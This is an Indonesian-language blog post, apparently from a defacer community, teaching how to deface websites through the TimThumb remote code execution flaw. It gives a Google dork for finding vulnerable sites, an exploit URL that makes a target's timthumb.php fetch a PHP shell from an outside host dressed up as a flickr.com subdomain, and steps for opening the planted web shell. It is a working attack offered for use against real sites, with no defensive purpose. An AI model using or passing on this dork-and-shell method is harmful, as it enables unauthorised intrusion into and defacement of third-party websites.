Hallo sob kali ini saya bakalan ngasih tutor deface poc timthumb RCE, langsung aja gass.
Dork : inurl:/timthumb.php?src= (Kembangin lagi dengan otak vokep lu :V )
Exploit : ?src=http://flickr.com.irfanmuhluster.web.id/upgan.php
- Pertama kita dorking dulu di google '<'
- Kalo udah nemu tinggal klik
- Kalo vuln ada tulisan kayak gini
- Nah kalo kayak gitu insyallah vuln
- Langsung aja masukin exploitnya
- Kayak gini : http://target.com/timthumb.php?src=http://flickr.com.irfanmuhluster.web.id/upgan.php
- Nah jika berhasil nanti bakalan muncul seperti ini
- Nah kalo muncul kayak gitu tinggal akses shellnya.
- Caranya gimana? Copy dir sesudah /public_html/ sampai .php
- Nanti bakalan muncul seperti ini '<'
Nah gimana? Simple kan, semoga bermanfaat jangan lupa share ya bambang :V
Note : MarsHall itu tamvan sangat wkwk
0 Comments